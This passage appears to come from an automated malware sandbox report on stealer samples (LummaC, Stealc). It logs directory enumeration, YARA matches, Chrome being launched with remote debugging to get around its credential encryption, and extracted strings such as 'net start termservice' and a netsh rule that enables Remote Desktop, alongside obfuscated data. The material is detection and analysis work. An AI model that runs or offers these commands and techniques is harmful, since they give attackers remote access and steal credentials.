Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: number of queries: 2002
Yara detected Credential Stealer
Source: Yara match File source: 0000000B.00000003.2690845654.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2690960983.0000000000D98000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2773819917.00000000017B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2773670606.0000000001810000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2774094257.00000000017DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2773960939.00000000017BB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cd2469328d.exe PID: 7820, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 5cda6c90d7.exe PID: 5040, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 142c991362.exe PID: 7012, type: MEMORYSTR

Remote Access Functionality
barindex
Attempt to bypass Chrome Application-Bound Encryption
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: 2e4e1b8516.exe PID: 4904, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: cd2469328d.exe PID: 7820, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 5cda6c90d7.exe PID: 5040, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 0000002B.00000003.3493806478.0000000005110000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 35f0a75b93.exe PID: 7748, type: MEMORYSTR
Contains functionality to start a terminal service
Source: 7739517025.exe, 0000000D.00000000.2660444929.0000000000581000.00000002.00000001.01000000.0000000C.sdmp String found in binary or memory: net start termservice
Source: 7739517025.exe, 0000000D.00000000.2660444929.0000000000581000.00000002.00000001.01000000.0000000C.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
Source: 7739517025.exe, 0000000D.00000002.2668628648.0000000000581000.00000002.00000001.01000000.0000000C.sdmp String found in binary or memory: net start termservice
Source: 7739517025.exe, 0000000D.00000002.2668628648.0000000000581000.00000002.00000001.01000000.0000000C.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
Source: 7739517025.exe, 0000000D.00000003.2664537518.0000000007061000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: net start termservice
Source: 7739517025.exe, 0000000D.00000003.2664537518.0000000007061000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
Source: Gxtuum.exe, 0000000E.00000000.2667950394.0000000000AF1000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: net start termservice
Source: Gxtuum.exe, 0000000E.00000000.2667950394.0000000000AF1000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao 